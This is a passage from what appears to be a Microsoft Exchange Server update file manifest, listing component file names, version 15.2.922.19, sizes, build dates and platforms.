\nMicrosoft.exchange.clients.strings.dll| 15.2.922.19| 924,560| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.cluster.bandwidthmonitor.dll| 15.2.922.19| 31,608| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.cluster.common.dll| 15.2.922.19| 52,112| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.cluster.common.extensions.dll| 15.2.922.19| 21,904| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.cluster.diskmonitor.dll| 15.2.922.19| 33,680| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.cluster.replay.dll| 15.2.922.19| 3,564,424| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.cluster.replicaseeder.dll| 15.2.922.19| 108,432| 3-Nov-21| 19:38| x64 \nMicrosoft.exchange.cluster.replicavsswriter.dll| 15.2.922.19| 288,656| 3-Nov-21| 21:10| x64 \nMicrosoft.exchange.cluster.shared.dll| 15.2.922.19| 627,600| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.common.agentconfig.transport.dll| 15.2.922.19| 86,408| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.common.componentconfig.transport.dll| 15.2.922.19| 1,830,264| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.common.directory.adagentservicevariantconfig.dll| 15.2.922.19| 31,624| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.common.directory.directoryvariantconfig.dll| 15.2.922.19| 466,296| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.common.directory.domtvariantconfig.dll| 15.2.922.19| 25,992| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.common.directory.ismemberofresolverconfig.dll| 15.2.922.19| 38,280| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.common.directory.tenantrelocationvariantconfig.dll| 15.2.922.19| 102,800| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.common.directory.topologyservicevariantconfig.dll| 15.2.922.19| 48,504| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.common.diskmanagement.dll| 15.2.922.19| 67,456| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.common.dll| 15.2.922.19| 172,944| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.common.encryption.variantconfig.dll| 15.2.922.19| 113,544| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.common.il.dll| 15.2.922.19| 13,712| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.common.inference.dll| 15.2.922.19| 130,424| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.common.optics.dll| 15.2.922.19| 63,888| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.common.processmanagermsg.dll| 15.2.922.19| 19,856| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.common.protocols.popimap.dll| 15.2.922.19| 15,248| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.common.search.dll| 15.2.922.19| 108,936| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.common.search.eventlog.dll| 15.2.922.19| 17,800| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.common.smtp.dll| 15.2.922.19| 51,576| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.common.suiteservices.suiteservicesvariantconfig.dll| 15.2.922.19| 36,752| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.common.transport.azure.dll| 15.2.922.19| 27,536| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.common.transport.monitoringconfig.dll| 15.2.922.19| 1,042,312| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.commonmsg.dll| 15.2.922.19| 29,072| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.compliance.auditlogpumper.messages.dll| 15.2.922.19| 13,192| 3-Nov-21| 21:06| x64 \nMicrosoft.exchange.compliance.auditservice.core.dll| 15.2.922.19| 181,112| 3-Nov-21| 21:56| x86 \nMicrosoft.exchange.compliance.auditservice.messages.dll| 15.2.922.19| 30,096| 3-Nov-21| 19:22| x64 \nMicrosoft.exchange.compliance.common.dll| 15.2.922.19| 22,416| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.compliance.crimsonevents.dll| 15.2.922.19| 85,888| 3-Nov-21| 19:23| x64 \nMicrosoft.exchange.compliance.dll| 15.2.922.19| 35,208| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.compliance.recordreview.dll| 15.2.922.19| 37,256| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.compliance.supervision.dll| 15.2.922.19| 50,576| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.compliance.taskcreator.dll| 15.2.922.19| 33,144| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.compliance.taskdistributioncommon.dll| 15.2.922.19| 1,100,176| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.compliance.taskdistributionfabric.dll| 15.2.922.19| 206,712| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.compliance.taskplugins.dll| 15.2.922.19| 210,808| 3-Nov-21| 21:21| x86 \nMicrosoft.exchange.compression.dll| 15.2.922.19| 17,296| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.configuration.certificateauth.dll| 15.2.922.19| 37,752| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.configuration.certificateauth.eventlog.dll| 15.2.922.19| 14,216| 3-Nov-21| 19:38| x64 \nMicrosoft.exchange.configuration.core.dll| 15.2.922.19| 150,904| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.configuration.core.eventlog.dll| 15.2.922.19| 14,208| 3-Nov-21| 19:38| x64 \nMicrosoft.exchange.configuration.delegatedauth.dll| 15.2.922.19| 53,128| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.configuration.delegatedauth.eventlog.dll| 15.2.922.19| 15,760| 3-Nov-21| 19:39| x64 \nMicrosoft.exchange.configuration.diagnosticsmodules.dll| 15.2.922.19| 23,416| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.configuration.diagnosticsmodules.eventlog.dll| 15.2.922.19| 13,200| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.configuration.failfast.dll| 15.2.922.19| 54,672| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.configuration.failfast.eventlog.dll| 15.2.922.19| 13,712| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.configuration.objectmodel.dll| 15.2.922.19| 1,847,176| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.configuration.objectmodel.eventlog.dll| 15.2.922.19| 30,072| 3-Nov-21| 21:04| x64 \nMicrosoft.exchange.configuration.redirectionmodule.dll| 15.2.922.19| 68,472| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.configuration.redirectionmodule.eventlog.dll| 15.2.922.19| 15,240| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.dll| 15.2.922.19| 21,368| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.eventlog.dll| 15.2.922.19| 13,176| 3-Nov-21| 21:06| x64 \nMicrosoft.exchange.connectiondatacollector.dll| 15.2.922.19| 25,992| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.connections.common.dll| 15.2.922.19| 169,848| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.connections.eas.dll| 15.2.922.19| 330,120| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.connections.imap.dll| 15.2.922.19| 173,960| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.connections.pop.dll| 15.2.922.19| 71,056| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.contentfilter.wrapper.exe| 15.2.922.19| 203,640| 3-Nov-21| 19:26| x64 \nMicrosoft.exchange.context.client.dll| 15.2.922.19| 27,000| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.context.configuration.dll| 15.2.922.19| 51,592| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.context.core.dll| 15.2.922.19| 51,080| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.context.datamodel.dll| 15.2.922.19| 46,968| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.core.strings.dll| 15.2.922.19| 1,093,496| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.core.timezone.dll| 15.2.922.19| 57,224| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.data.applicationlogic.deep.dll| 15.2.922.19| 326,544| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.data.applicationlogic.dll| 15.2.922.19| 3,358,096| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.applicationlogic.eventlog.dll| 15.2.922.19| 35,728| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.data.applicationlogic.monitoring.ifx.dll| 15.2.922.19| 17,784| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.data.connectors.dll| 15.2.922.19| 165,248| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.consumermailboxprovisioning.dll| 15.2.922.19| 619,408| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.directory.dll| 15.2.922.19| 7,795,080| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.data.directory.eventlog.dll| 15.2.922.19| 80,264| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.data.dll| 15.2.922.19| 1,966,984| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.groupmailboxaccesslayer.dll| 15.2.922.19| 1,632,136| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.ha.dll| 15.2.922.19| 377,736| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.imageanalysis.dll| 15.2.922.19| 105,336| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.data.mailboxfeatures.dll| 15.2.922.19| 15,760| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.data.mailboxloadbalance.dll| 15.2.922.19| 224,656| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.data.mapi.dll| 15.2.922.19| 186,760| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.data.metering.contracts.dll| 15.2.922.19| 39,800| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.data.metering.dll| 15.2.922.19| 119,184| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.msosyncxsd.dll| 15.2.922.19| 968,072| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.data.notification.dll| 15.2.922.19| 141,192| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.data.personaldataplatform.dll| 15.2.922.19| 769,416| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.data.providers.dll| 15.2.922.19| 139,664| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.provisioning.dll| 15.2.922.19| 56,720| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.data.rightsmanagement.dll| 15.2.922.19| 452,984| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.data.scheduledtimers.dll| 15.2.922.19| 32,656| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.data.storage.clientstrings.dll| 15.2.922.19| 256,912| 3-Nov-21| 19:31| x86 \nMicrosoft.exchange.data.storage.dll| 15.2.922.19| #########| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.storage.eventlog.dll| 15.2.922.19| 37,768| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.data.storageconfigurationresources.dll| 15.2.922.19| 655,736| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.data.storeobjects.dll| 15.2.922.19| 175,504| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.data.throttlingservice.client.dll| 15.2.922.19| 36,240| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.data.throttlingservice.client.eventlog.dll| 15.2.922.19| 14,216| 3-Nov-21| 19:38| x64 \nMicrosoft.exchange.data.throttlingservice.eventlog.dll| 15.2.922.19| 14,200| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.datacenter.management.activemonitoring.recoveryservice.eventlog.dll| 15.2.922.19| 14,728| 3-Nov-21| 19:39| x64 \nMicrosoft.exchange.datacenterstrings.dll| 15.2.922.19| 72,584| 3-Nov-21| 21:46| x86 \nMicrosoft.exchange.delivery.eventlog.dll| 15.2.922.19| 13,200| 3-Nov-21| 21:04| x64 \nMicrosoft.exchange.diagnostics.certificatelogger.dll| 15.2.922.19| 22,928| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.diagnostics.dll| 15.2.922.19| 1,815,952| 3-Nov-21| 19:31| x86 \nMicrosoft.exchange.diagnostics.dll.deploy| 15.2.922.19| 1,815,952| 3-Nov-21| 19:31| Not applicable \nMicrosoft.exchange.diagnostics.performancelogger.dll| 15.2.922.19| 23,928| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.diagnostics.service.common.dll| 15.2.922.19| 546,680| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.diagnostics.service.eventlog.dll| 15.2.922.19| 215,440| 3-Nov-21| 19:39| x64 \nMicrosoft.exchange.diagnostics.service.exchangejobs.dll| 15.2.922.19| 194,448| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.diagnostics.service.exe| 15.2.922.19| 146,320| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.diagnostics.service.fuseboxperfcounters.dll| 15.2.922.19| 27,512| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.diagnosticsaggregation.eventlog.dll| 15.2.922.19| 13,704| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.diagnosticsaggregationservicelet.dll| 15.2.922.19| 49,544| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.directory.topologyservice.eventlog.dll| 15.2.922.19| 28,024| 3-Nov-21| 19:39| x64 \nMicrosoft.exchange.directory.topologyservice.exe| 15.2.922.19| 208,760| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.disklocker.events.dll| 15.2.922.19| 88,968| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.disklocker.interop.dll| 15.2.922.19| 32,656| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.drumtesting.calendarmigration.dll| 15.2.922.19| 45,944| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.drumtesting.common.dll| 15.2.922.19| 18,808| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.dxstore.dll| 15.2.922.19| 468,856| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.dxstore.ha.events.dll| 15.2.922.19| 206,200| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.dxstore.ha.instance.exe| 15.2.922.19| 36,720| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.eac.flighting.dll| 15.2.922.19| 131,464| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.edgecredentialsvc.exe| 15.2.922.19| 21,896| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.edgesync.common.dll| 15.2.922.19| 148,368| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.edgesync.datacenterproviders.dll| 15.2.922.19| 220,048| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.edgesync.eventlog.dll| 15.2.922.19| 23,928| 3-Nov-21| 19:26| x64 \nMicrosoft.exchange.edgesyncsvc.exe| 15.2.922.19| 97,680| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.ediscovery.export.dll| 15.2.922.19| 1,266,576| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.ediscovery.export.dll.deploy| 15.2.922.19| 1,266,576| 3-Nov-21| 19:38| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.application| Not applicable| 16,499| 3-Nov-21| 21:04| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.exe.deploy| 15.2.922.19| 87,416| 3-Nov-21| 21:04| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.manifest| Not applicable| 67,473| 3-Nov-21| 21:04| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.strings.dll.deploy| 15.2.922.19| 52,088| 3-Nov-21| 19:39| Not applicable \nMicrosoft.exchange.ediscovery.mailboxsearch.dll| 15.2.922.19| 292,216| 3-Nov-21| 21:20| x86 \nMicrosoft.exchange.entities.birthdaycalendar.dll| 15.2.922.19| 73,096| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.entities.booking.defaultservicesettings.dll| 15.2.922.19| 45,960| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.entities.booking.dll| 15.2.922.19| 218,504| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.entities.booking.management.dll| 15.2.922.19| 78,216| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.entities.bookings.dll| 15.2.922.19| 35,720| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.entities.calendaring.dll| 15.2.922.19| 934,800| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.entities.common.dll| 15.2.922.19| 336,264| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.entities.connectors.dll| 15.2.922.19| 52,616| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.entities.contentsubmissions.dll| 15.2.922.19| 32,120| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.entities.context.dll| 15.2.922.19| 60,808| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.entities.datamodel.dll| 15.2.922.19| 854,400| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.entities.fileproviders.dll| 15.2.922.19| 291,720| 3-Nov-21| 21:16| x86 \nMicrosoft.exchange.entities.foldersharing.dll| 15.2.922.19| 39,288| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.entities.holidaycalendars.dll| 15.2.922.19| 76,168| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.entities.insights.dll| 15.2.922.19| 166,776| 3-Nov-21| 21:19| x86 \nMicrosoft.exchange.entities.meetinglocation.dll| 15.2.922.19| 1,486,712| 3-Nov-21| 21:17| x86 \nMicrosoft.exchange.entities.meetingparticipants.dll| 15.2.922.19| 122,240| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.entities.meetingtimecandidates.dll| 15.2.922.19| #########| 3-Nov-21| 21:26| x86 \nMicrosoft.exchange.entities.onlinemeetings.dll| 15.2.922.19| 264,056| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.entities.people.dll| 15.2.922.19| 37,752| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.entities.peopleinsights.dll| 15.2.922.19| 186,768| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.entities.reminders.dll| 15.2.922.19| 64,400| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.entities.schedules.dll| 15.2.922.19| 83,848| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.entities.shellservice.dll| 15.2.922.19| 63,888| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.entities.tasks.dll| 15.2.922.19| 100,216| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.entities.xrm.dll| 15.2.922.19| 144,776| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.entityextraction.calendar.dll| 15.2.922.19| 270,208| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.eserepl.common.dll| 15.2.922.19| 15,248| 3-Nov-21| 19:23| x86 \nMicrosoft.exchange.eserepl.configuration.dll| 15.2.922.19| 15,752| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.eserepl.dll| 15.2.922.19| 131,976| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.ews.configuration.dll| 15.2.922.19| 254,352| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.exchangecertificate.eventlog.dll| 15.2.922.19| 13,200| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.exchangecertificateservicelet.dll| 15.2.922.19| 37,240| 3-Nov-21| 21:38| x86 \nMicrosoft.exchange.extensibility.internal.dll| 15.2.922.19| 640,888| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.extensibility.partner.dll| 15.2.922.19| 37,248| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.federateddirectory.dll| 15.2.922.19| 146,312| 3-Nov-21| 21:54| x86 \nMicrosoft.exchange.ffosynclogmsg.dll| 15.2.922.19| 13,192| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.frontendhttpproxy.dll| 15.2.922.19| 596,856| 3-Nov-21| 21:54| x86 \nMicrosoft.exchange.frontendhttpproxy.eventlogs.dll| 15.2.922.19| 14,728| 3-Nov-21| 19:38| x64 \nMicrosoft.exchange.frontendtransport.monitoring.dll| 15.2.922.19| 30,088| 3-Nov-21| 22:38| x86 \nMicrosoft.exchange.griffin.variantconfiguration.dll| 15.2.922.19| 99,704| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.hathirdpartyreplication.dll| 15.2.922.19| 42,360| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.helpprovider.dll| 15.2.922.19| 40,312| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.httpproxy.addressfinder.dll| 15.2.922.19| 54,152| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.httpproxy.common.dll| 15.2.922.19| 164,216| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.httpproxy.diagnostics.dll| 15.2.922.19| 58,760| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.httpproxy.flighting.dll| 15.2.922.19| 204,680| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.httpproxy.passivemonitor.dll| 15.2.922.19| 17,784| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.httpproxy.proxyassistant.dll| 15.2.922.19| 30,600| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.httpproxy.routerefresher.dll| 15.2.922.19| 38,800| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.httpproxy.routeselector.dll| 15.2.922.19| 48,520| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.httpproxy.routing.dll| 15.2.922.19| 180,624| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.httpredirectmodules.dll| 15.2.922.19| 36,752| 3-Nov-21| 21:54| x86 \nMicrosoft.exchange.httprequestfiltering.dll| 15.2.922.19| 28,048| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.httputilities.dll| 15.2.922.19| 25,976| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.hygiene.data.dll| 15.2.922.19| 1,868,168| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.hygiene.diagnosisutil.dll| 15.2.922.19| 54,672| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.hygiene.eopinstantprovisioning.dll| 15.2.922.19| 35,720| 3-Nov-21| 21:42| x86 \nMicrosoft.exchange.idserialization.dll| 15.2.922.19| 35,728| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.imap4.eventlog.dll| 15.2.922.19| 18,320| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.imap4.eventlog.dll.fe| 15.2.922.19| 18,320| 3-Nov-21| 19:24| Not applicable \nMicrosoft.exchange.imap4.exe| 15.2.922.19| 263,032| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.imap4.exe.fe| 15.2.922.19| 263,032| 3-Nov-21| 21:05| Not applicable \nMicrosoft.exchange.imap4service.exe| 15.2.922.19| 24,952| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.imap4service.exe.fe| 15.2.922.19| 24,952| 3-Nov-21| 21:05| Not applicable \nMicrosoft.exchange.imapconfiguration.dl1| 15.2.922.19| 53,128| 3-Nov-21| 21:04| Not applicable \nMicrosoft.exchange.inference.common.dll| 15.2.922.19| 216,968| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.inference.hashtagsrelevance.dll| 15.2.922.19| 32,120| 3-Nov-21| 21:17| x64 \nMicrosoft.exchange.inference.peoplerelevance.dll| 15.2.922.19| 281,976| 3-Nov-21| 21:16| x86 \nMicrosoft.exchange.inference.ranking.dll| 15.2.922.19| 18,832| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.inference.safetylibrary.dll| 15.2.922.19| 83,832| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.inference.service.eventlog.dll| 15.2.922.19| 15,248| 3-Nov-21| 19:23| x64 \nMicrosoft.exchange.infoworker.assistantsclientresources.dll| 15.2.922.19| 94,096| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.infoworker.common.dll| 15.2.922.19| 1,842,040| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.infoworker.eventlog.dll| 15.2.922.19| 71,560| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.infoworker.meetingvalidator.dll| 15.2.922.19| 175,496| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.instantmessaging.dll| 15.2.922.19| 45,968| 3-Nov-21| 19:24| x86 \nMicrosoft.exchange.irm.formprotector.dll| 15.2.922.19| 159,624| 3-Nov-21| 19:38| x64 \nMicrosoft.exchange.irm.msoprotector.dll| 15.2.922.19| 51,088| 3-Nov-21| 21:06| x64 \nMicrosoft.exchange.irm.ofcprotector.dll| 15.2.922.19| 45,960| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.isam.databasemanager.dll| 15.2.922.19| 32,136| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.isam.esebcli.dll| 15.2.922.19| 100,232| 3-Nov-21| 19:38| x64 \nMicrosoft.exchange.jobqueue.eventlog.dll| 15.2.922.19| 13,200| 3-Nov-21| 19:30| x64 \nMicrosoft.exchange.jobqueueservicelet.dll| 15.2.922.19| 271,224| 3-Nov-21| 21:55| x86 \nMicrosoft.exchange.killswitch.dll| 15.2.922.19| 22,416| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.killswitchconfiguration.dll| 15.2.922.19| 33,672| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.loganalyzer.analyzers.auditing.dll| 15.2.922.19| 18,320| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.loganalyzer.analyzers.certificatelog.dll| 15.2.922.19| 15,240| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.loganalyzer.analyzers.cmdletinfralog.dll| 15.2.922.19| 27,536| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.loganalyzer.analyzers.easlog.dll| 15.2.922.19| 30,608| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ecplog.dll| 15.2.922.19| 22,392| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.loganalyzer.analyzers.eventlog.dll| 15.2.922.19| 66,448| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ewslog.dll| 15.2.922.19| 29,560| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.loganalyzer.analyzers.griffinperfcounter.dll| 15.2.922.19| 19,856| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.groupescalationlog.dll| 15.2.922.19| 20,360| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.loganalyzer.analyzers.httpproxylog.dll| 15.2.922.19| 19,344| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.hxservicelog.dll| 15.2.922.19| 34,184| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.iislog.dll| 15.2.922.19| 103,800| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.loganalyzer.analyzers.lameventlog.dll| 15.2.922.19| 31,624| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.migrationlog.dll| 15.2.922.19| 15,760| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oabdownloadlog.dll| 15.2.922.19| 20,872| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oauthcafelog.dll| 15.2.922.19| 16,264| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.loganalyzer.analyzers.outlookservicelog.dll| 15.2.922.19| 49,040| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owaclientlog.dll| 15.2.922.19| 44,432| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owalog.dll| 15.2.922.19| 38,264| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.loganalyzer.analyzers.perflog.dll| 15.2.922.19| #########| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.pfassistantlog.dll| 15.2.922.19| 29,064| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.loganalyzer.analyzers.rca.dll| 15.2.922.19| 21,384| 3-Nov-21| 19:27| x86 \nMicrosoft.exchange.loganalyzer.analyzers.restlog.dll| 15.2.922.19| 24,464| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.store.dll| 15.2.922.19| 15,248| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.loganalyzer.analyzers.transportsynchealthlog.dll| 15.2.922.19| 21,896| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.loganalyzer.core.dll| 15.2.922.19| 89,480| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.loganalyzer.extensions.auditing.dll| 15.2.922.19| 20,856| 3-Nov-21| 19:27| x86 \nMicrosoft.exchange.loganalyzer.extensions.certificatelog.dll| 15.2.922.19| 26,488| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.cmdletinfralog.dll| 15.2.922.19| 21,392| 3-Nov-21| 19:27| x86 \nMicrosoft.exchange.loganalyzer.extensions.common.dll| 15.2.922.19| 28,024| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.extensions.easlog.dll| 15.2.922.19| 28,536| 3-Nov-21| 19:30| x86 